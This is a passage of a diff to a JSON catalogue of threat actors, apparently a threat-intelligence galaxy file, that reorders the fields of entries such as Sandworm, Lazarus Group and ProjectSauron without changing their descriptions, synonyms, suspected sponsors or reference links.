- "description": "This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage",
- "uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35"
+ "uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35",
+ "value": "Sandworm"
},
{
+ "description": "We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group.",
"meta": {
"country": "RU",
"refs": [
@@ -1624,18 +1637,14 @@
"Sandworm"
]
},
- "value": "TeleBots",
- "description": "We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group.",
- "uuid": "b47250ec-2094-4d06-b658-11456e05fe89"
+ "uuid": "b47250ec-2094-4d06-b658-11456e05fe89",
+ "value": "TeleBots"
},
{
+ "description": "Groups targeting financial organizations or people with significant financial assets.",
"meta": {
- "synonyms": [
- "Carbanak",
- "Carbon Spider",
- "FIN7"
- ],
"country": "RU",
+ "motive": "Cybercrime",
"refs": [
"https://en.wikipedia.org/wiki/Carbanak",
"https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf",
@@ -1646,38 +1655,41 @@
"https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns",
"https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/"
],
- "motive": "Cybercrime"
+ "synonyms": [
+ "Carbanak",
+ "Carbon Spider",
+ "FIN7"
+ ]
},
- "description": "Groups targeting financial organizations or people with significant financial assets.",
- "value": "Anunak",
- "uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb"
+ "uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb",
+ "value": "Anunak"
},
{
"meta": {
- "synonyms": [
- "TeamSpy",
- "Team Bear",
- "Berserk Bear",
- "Anger Bear"
+ "cfr-suspected-state-sponsor": "Russian Federation",
+ "cfr-suspected-victims": [
+ "Hungary",
+ "Belarus"
],
+ "cfr-target-category": [
+ "Government",
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "RU",
"refs": [
"https://securelist.com/blog/incidents/35520/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/",
"https://www.cfr.org/interactive/cyber-operations/team-spy-crew"
],
- "cfr-suspected-victims": [
- "Hungary",
- "Belarus"
- ],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector"
+ "synonyms": [
+ "TeamSpy",
+ "Team Bear",
+ "Berserk Bear",
+ "Anger Bear"
]
},
- "value": "TeamSpy Crew",
- "uuid": "82c1c7fa-c67b-4be6-9be8-8aa400ef2445"
+ "uuid": "82c1c7fa-c67b-4be6-9be8-8aa400ef2445",
+ "value": "TeamSpy Crew"
},
{
"meta": {
@@ -1686,15 +1698,15 @@
"http://www.welivesecurity.com/2015/11/11/operathion-buhtrap-malware-distributed-via-ammyy-com/"
]
},
- "value": "BuhTrap",
- "uuid": "b737c51f-b579-49d5-a907-743b2e6d03cb"
+ "uuid": "b737c51f-b579-49d5-a907-743b2e6d03cb",
+ "value": "BuhTrap"
},
{
"meta": {
"country": "RU"
},
- "value": "Berserk Bear",
- "uuid": "90ef600f-5198-44a9-a2c6-de4b4d9d8624"
+ "uuid": "90ef600f-5198-44a9-a2c6-de4b4d9d8624",
+ "value": "Berserk Bear"
},
{
"meta": {
@@ -1703,55 +1715,79 @@
"FIN4"
]
},
- "value": "Wolf Spider",
- "uuid": "ff449346-aa9f-45f6-b482-71e886a5cf57"
+ "uuid": "ff449346-aa9f-45f6-b482-71e886a5cf57",
+ "value": "Wolf Spider"
},
{
- "meta": {
- "country": "RU"
- },
- "value": "Boulder Bear",
"description": "First observed activity in December 2013.",
- "uuid": "85b40169-3d1c-491b-9fbf-877ed57f32e0"
- },
- {
"meta": {
"country": "RU"
},
- "value": "Shark Spider",
- "description": "This group's activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.",
- "uuid": "7dd7a8df-9012-4d14-977f-b3f9f71266b4"
+ "uuid": "85b40169-3d1c-491b-9fbf-877ed57f32e0",
+ "value": "Boulder Bear"
},
{
+ "description": "This group's activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.",
+ "meta": {
+ "country": "RU"
+ },
+ "uuid": "7dd7a8df-9012-4d14-977f-b3f9f71266b4",
+ "value": "Shark Spider"
+ },
+ {
+ "description": "Adversary targeting manufacturing and industrial organizations.",
"meta": {
"country": "RU",
"refs": [
"http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "value": "Union Spider",
- "description": "Adversary targeting manufacturing and industrial organizations.",
- "uuid": "db774b7d-a0ee-4375-b24e-fd278f5ab2fd"
+ "uuid": "db774b7d-a0ee-4375-b24e-fd278f5ab2fd",
+ "value": "Union Spider"
},
{
"meta": {
"country": "KP",
+ "refs": [
+ "http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
+ ],
"synonyms": [
"OperationTroy",
"Guardian of Peace",
"GOP",
"WHOis Team"
- ],
- "refs": [
- "http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "value": "Silent Chollima",
- "uuid": "245c8dde-ed42-4c49-b48b-634e3e21bdd7"
+ "uuid": "245c8dde-ed42-4c49-b48b-634e3e21bdd7",
+ "value": "Silent Chollima"
},
{
+ "description": "Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.",
"meta": {
+ "cfr-suspected-state-sponsor": "Korea (Democratic People's Republic of)",
+ "cfr-suspected-victims": [
+ "South Korea",
+ "Bangladesh Bank",
+ "Sony Pictures Entertainment",
+ "United States"
+ ],
+ "cfr-target-category": [
+ " Government",
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "KP",
+ "refs": [
+ "https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/",
+ "https://www.us-cert.gov/ncas/alerts/TA17-164A",
+ "https://securelist.com/lazarus-under-the-hood/77908/",
+ "http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf",
+ "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity",
+ "https://www.us-cert.gov/ncas/alerts/TA17-318A",
+ "https://www.us-cert.gov/ncas/alerts/TA17-318B",
+ "https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/",
+ "https://www.cfr.org/interactive/cyber-operations/lazarus-group"
+ ],
"synonyms": [
"Operation DarkSeoul",
"Dark Seoul",
@@ -1766,89 +1802,53 @@
"Labyrinth Chollima",
"Operation Troy",
"Operation GhostSecret"
- ],
- "refs": [
- "https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/",
- "https://www.us-cert.gov/ncas/alerts/TA17-164A",
- "https://securelist.com/lazarus-under-the-hood/77908/",
- "http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf",
- "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity",
- "https://www.us-cert.gov/ncas/alerts/TA17-318A",
- "https://www.us-cert.gov/ncas/alerts/TA17-318B",
- "https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/",
- "https://www.cfr.org/interactive/cyber-operations/lazarus-group"
- ],
- "cfr-suspected-victims": [
- "South Korea",
- "Bangladesh Bank",
- "Sony Pictures Entertainment",
- "United States"
- ],
- "cfr-suspected-state-sponsor": "Korea (Democratic People's Republic of)",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- " Government",
- "Private sector"
]
},
- "value": "Lazarus Group",
- "description": "Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.",
- "uuid": "68391641-859f-4a9a-9a1e-3e5cf71ec376"
+ "uuid": "68391641-859f-4a9a-9a1e-3e5cf71ec376",
+ "value": "Lazarus Group"
},
{
"meta": {
- "synonyms": [
- "Appin",
- "OperationHangover"
- ],
"country": "IN",
"refs": [
"http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf"
+ ],
+ "synonyms": [
+ "Appin",
+ "OperationHangover"
]
},
- "value": "Viceroy Tiger",
- "uuid": "e2b87f81-a6a1-4524-b03f-193c3191d239"
+ "uuid": "e2b87f81-a6a1-4524-b03f-193c3191d239",
+ "value": "Viceroy Tiger"
},
{
"meta": {
+ "country": "US",
"synonyms": [
"DD4BC",
"Ambiorx"
- ],
- "country": "US"
+ ]
},
- "value": "Pizzo Spider",
- "uuid": "dd9806a9-a600-48f8-81fb-07f0f1b7690d"
+ "uuid": "dd9806a9-a600-48f8-81fb-07f0f1b7690d",
+ "value": "Pizzo Spider"
},
{
"meta": {
- "synonyms": [
- "TunisianCyberArmy"
- ],
"country": "TN",
"refs": [
"https://www.crowdstrike.com/blog/regional-conflict-and-cyber-blowback/"
- ]
- },
- "value": "Corsair Jackal",
- "uuid": "59d63dd6-f46f-4334-ad15-30d2e1ee0623"
- },
- {
- "value": "SNOWGLOBE",
- "description": "In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.",
- "meta": {
- "country": "FR",
- "refs": [
- "https://securelist.com/blog/research/69114/animals-in-the-apt-farm/",
- "https://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france",
- "http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
- "http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/",
- "https://blog.gdatasoftware.com/blog/article/babar-espionage-software-finally-found-and-put-under-the-microscope.html",
- "https://www.cfr.org/interactive/cyber-operations/snowglobe"
],
"synonyms": [
- "Animal Farm"
- ],
+ "TunisianCyberArmy"
+ ]
+ },
+ "uuid": "59d63dd6-f46f-4334-ad15-30d2e1ee0623",
+ "value": "Corsair Jackal"
+ },
+ {
+ "description": "In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.",
+ "meta": {
+ "cfr-suspected-state-sponsor": "France",
"cfr-suspected-victims": [
"Syria",
"United States",
@@ -1866,149 +1866,162 @@
"Ivory Coast",
"Greece"
],
- "cfr-suspected-state-sponsor": "France",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "FR",
+ "refs": [
+ "https://securelist.com/blog/research/69114/animals-in-the-apt-farm/",
+ "https://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france",
+ "http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
+ "http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/",
+ "https://blog.gdatasoftware.com/blog/article/babar-espionage-software-finally-found-and-put-under-the-microscope.html",
+ "https://www.cfr.org/interactive/cyber-operations/snowglobe"
+ ],
+ "synonyms": [
+ "Animal Farm"
]
},
- "uuid": "3b8e7462-c83f-4e7d-9511-2fe430d80aab"
+ "uuid": "3b8e7462-c83f-4e7d-9511-2fe430d80aab",
+ "value": "SNOWGLOBE"
},
{
+ "description": "The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been *the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies*. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear",
"meta": {
- "synonyms": [
- "SyrianElectronicArmy",
- "SEA"
- ],
"country": "SY",
"refs": [
"https://en.wikipedia.org/wiki/Syrian_Electronic_Army"
+ ],
+ "synonyms": [
+ "SyrianElectronicArmy",
+ "SEA"
]
},
- "description": "The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been *the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies*. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear",
- "value": "Deadeye Jackal",
- "uuid": "4265d44e-8372-4ed0-b428-b331a5443d7d"
+ "uuid": "4265d44e-8372-4ed0-b428-b331a5443d7d",
+ "value": "Deadeye Jackal"
},
{
+ "description": "Group targeting Indian Army or related assets in India. Attribution to a Pakistani connection has been made by TrendMicro.",
"meta": {
"country": "PK",
- "synonyms": [
- "C-Major"
- ],
"refs": [
"http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf"
+ ],
+ "synonyms": [
+ "C-Major"
]
},
- "value": "Operation C-Major",
- "description": "Group targeting Indian Army or related assets in India. Attribution to a Pakistani connection has been made by TrendMicro.",
- "uuid": "acbb5cad-ffe7-4b0e-a57a-2dbc916e8905"
+ "uuid": "acbb5cad-ffe7-4b0e-a57a-2dbc916e8905",
+ "value": "Operation C-Major"
},
{
+ "description": "This threat actor targets civil society groups and Emirati journalists, activists, and dissidents. ",
"meta": {
+ "cfr-suspected-state-sponsor": "United Arab Emirates",
+ "cfr-suspected-victims": [
+ "United Arab Emirates",
+ "United Kingdom"
+ ],
+ "cfr-target-category": [
+ "Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "AE",
"refs": [
"https://citizenlab.org/2016/05/stealth-falcon/",
"https://www.cfr.org/interactive/cyber-operations/stealth-falcon"
],
"synonyms": [
"FruityArmor"
- ],
- "country": "AE",
- "cfr-suspected-victims": [
- "United Arab Emirates",
- "United Kingdom"
- ],
- "cfr-suspected-state-sponsor": "United Arab Emirates",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Civil society"
]
},
- "value": "Stealth Falcon",
- "description": "This threat actor targets civil society groups and Emirati journalists, activists, and dissidents. ",
- "uuid": "dab75e38-6969-4e78-9304-dc269c3cbcf0"
+ "uuid": "dab75e38-6969-4e78-9304-dc269c3cbcf0",
+ "value": "Stealth Falcon"
},
{
+ "description": "ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer.",
"meta": {
+ "refs": [
+ "https://securelist.com/blog/research/75082/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/"
+ ],
"synonyms": [
"Operation Daybreak",
"Operation Erebus"
- ],
- "refs": [
- "https://securelist.com/blog/research/75082/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/"
]
},
- "value": "ScarCruft",
- "description": "ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer.",
- "uuid": "bb446dc2-4fee-4212-8b2c-3ffa2917e338"
+ "uuid": "bb446dc2-4fee-4212-8b2c-3ffa2917e338",
+ "value": "ScarCruft"
},
{
+ "description": "Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail.",
"meta": {
+ "country": "RU",
"refs": [
"http://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf"
],
"synonyms": [
"Skipper",
"Popeye"
- ],
- "country": "RU"
+ ]
},
- "value": "Pacifier APT",
- "description": "Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail.",
- "uuid": "32db3cc1-bb79-4b08-a7a4-747a37221afa"
+ "uuid": "32db3cc1-bb79-4b08-a7a4-747a37221afa",
+ "value": "Pacifier APT"
},
{
+ "description": "This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder",
"meta": {
"country": "CN",
"refs": [
"http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf"
]
},
- "description": "This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder",
- "value": "HummingBad",
- "uuid": "12ab5c28-5f38-4a2f-bd40-40e9c500f4ac"
+ "uuid": "12ab5c28-5f38-4a2f-bd40-40e9c500f4ac",
+ "value": "HummingBad"
},
{
+ "description": "Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.",
"meta": {
- "synonyms": [
- "Chinastrats",
- "Patchwork",
- "Monsoon",
- "Sarit"
+ "cfr-suspected-state-sponsor": "India",
+ "cfr-suspected-victims": [
+ "Bangladesh",
+ "Sri Lanka",
+ "Pakistan"
],
+ "cfr-target-category": [
+ "Private sector",
+ "Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
"refs": [
"https://securelist.com/blog/research/75328/the-dropping-elephant-actor/",
"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries",
"https://blogs.forcepoint.com/security-labs/monsoon-analysis-apt-campaign",
"https://www.cymmetria.com/patchwork-targeted-attack/"
],
- "cfr-suspected-victims": [
- "Bangladesh",
- "Sri Lanka",
- "Pakistan"
- ],
- "cfr-suspected-state-sponsor": "India",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector",
- "Military"
+ "synonyms": [
+ "Chinastrats",
+ "Patchwork",
+ "Monsoon",
+ "Sarit"
]
},
- "description": "Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.",
- "value": "Dropping Elephant",
- "uuid": "18d473a5-831b-47a5-97a1-a32156299825"
+ "uuid": "18d473a5-831b-47a5-97a1-a32156299825",
+ "value": "Dropping Elephant"
},
{
+ "description": "Proofpoint researchers recently uncovered evidence of an advanced persistent threat (APT) against Indian diplomatic and military resources. Our investigation began with malicious emails sent to Indian embassies in Saudi Arabia and Kazakstan but turned up connections to watering hole sites focused on Indian military personnel and designed to drop a remote access Trojan (RAT) with a variety of data exfiltration functions.",
"meta": {
"refs": [
"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
]
},
- "description": "Proofpoint researchers recently uncovered evidence of an advanced persistent threat (APT) against Indian diplomatic and military resources. Our investigation began with malicious emails sent to Indian embassies in Saudi Arabia and Kazakstan but turned up connections to watering hole sites focused on Indian military personnel and designed to drop a remote access Trojan (RAT) with a variety of data exfiltration functions.",
- "value": "Operation Transparent Tribe",
- "uuid": "0b36d80d-5966-4c91-945b-1ac85552aa7b"
+ "uuid": "0b36d80d-5966-4c91-945b-1ac85552aa7b",
+ "value": "Operation Transparent Tribe"
},
{
+ "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.",
"meta": {
"country": "CN",
"refs": [
@@ -2016,27 +2029,33 @@
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
]
},
- "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.",
- "value": "Scarlet Mimic",
- "uuid": "0da10682-85c6-4c0b-bace-ba1f7adfb63e"
+ "uuid": "0da10682-85c6-4c0b-bace-ba1f7adfb63e",
+ "value": "Scarlet Mimic"
},
{
+ "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.",
"meta": {
+ "country": "BR",
"refs": [
"https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/",
"https://attack.mitre.org/wiki/Groups"
- ],
- "country": "BR"
+ ]
},
- "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.",
- "value": "Poseidon Group",
- "uuid": "5fc09923-fcff-4e81-9cae-4518ef31cf4d"
+ "uuid": "5fc09923-fcff-4e81-9cae-4518ef31cf4d",
+ "value": "Poseidon Group"
},
{
+ "description": "Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.",
"meta": {
- "synonyms": [
- "Moafee"
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States"
],
+ "cfr-target-category": [
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
"refs": [
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
"https://attack.mitre.org/wiki/Groups",
@@ -2046,59 +2065,45 @@
"http://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor",
"https://www.cfr.org/interactive/cyber-operations/moafee"
],
- "country": "CN",
- "cfr-suspected-victims": [
- "United States"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector"
+ "synonyms": [
+ "Moafee"
]
},
- "description": "Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.",
- "value": "DragonOK",
- "uuid": "a9b44750-992c-4743-8922-129880d277ea"
+ "uuid": "a9b44750-992c-4743-8922-129880d277ea",
+ "value": "DragonOK"
},
{
+ "description": "Chinese threat group that has extensively used strategic Web compromises to target victims.",
"meta": {
- "synonyms": [
- "TG-3390",
- "Emissary Panda"
- ],
- "refs": [
- "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
- "https://attack.mitre.org",
- "https://www.cfr.org/interactive/cyber-operations/emissary-panda"
- ],
- "country": "CN",
+ "cfr-suspected-state-sponsor": " China",
"cfr-suspected-victims": [
"United States",
"United Kingdom",
"France"
],
- "cfr-suspected-state-sponsor": " China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
+ "https://attack.mitre.org",
+ "https://www.cfr.org/interactive/cyber-operations/emissary-panda"
+ ],
+ "synonyms": [
+ "TG-3390",
+ "Emissary Panda"
]
},
- "description": "Chinese threat group that has extensively used strategic Web compromises to target victims.",
- "value": "Threat Group-3390",
- "uuid": "f1b9f7d6-6ab1-404b-91a6-a1ed1845c045"
+ "uuid": "f1b9f7d6-6ab1-404b-91a6-a1ed1845c045",
+ "value": "Threat Group-3390"
},
{
+ "description": "ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.",
"meta": {
- "synonyms": [
- "Strider",
- "Sauron",
- "Project Sauron"
- ],
- "refs": [
- "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/",
- "https://www.cfr.org/interactive/cyber-operations/project-sauron"
- ],
+ "cfr-suspected-state-sponsor": "United States",
"cfr-suspected-victims": [
"Russia",
"Iran",
@@ -2107,28 +2112,28 @@
"Sweden",
"Rwanda"
],
- "cfr-suspected-state-sponsor": "United States",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
- ]
- },
- "description": "ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.",
- "value": "ProjectSauron",
- "uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7"
- },
- {
- "meta": {
+ ],
+ "cfr-type-of-incident": "Espionage",
"refs": [
- "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
- "https://attack.mitre.org/wiki/Group/G0013",
- "https://www.cfr.org/interactive/cyber-operations/apt-30"
+ "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/",
+ "https://www.cfr.org/interactive/cyber-operations/project-sauron"
],
"synonyms": [
- "APT30"
- ],
- "country": "CN",
+ "Strider",
+ "Sauron",
+ "Project Sauron"
+ ]
+ },
+ "uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7",
+ "value": "ProjectSauron"
+ },
+ {
+ "description": "APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.",
+ "meta": {
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"India",
"Saudi Arabia",
@@ -2145,81 +2150,106 @@
"Indonesia",
"Laos"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
+ "https://attack.mitre.org/wiki/Group/G0013",
+ "https://www.cfr.org/interactive/cyber-operations/apt-30"
+ ],
+ "synonyms": [
+ "APT30"
]
},
- "value": "APT 30",
- "description": "APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.",
- "uuid": "f26144c5-8593-4e78-831a-11f6452d809b"
+ "uuid": "f26144c5-8593-4e78-831a-11f6452d809b",
+ "value": "APT 30"
},
{
+ "description": "TA530, who we previously examined in relation to large-scale personalized phishing campaigns",
"meta": {
"country": "CN"
},
- "description": "TA530, who we previously examined in relation to large-scale personalized phishing campaigns",
- "value": "TA530",
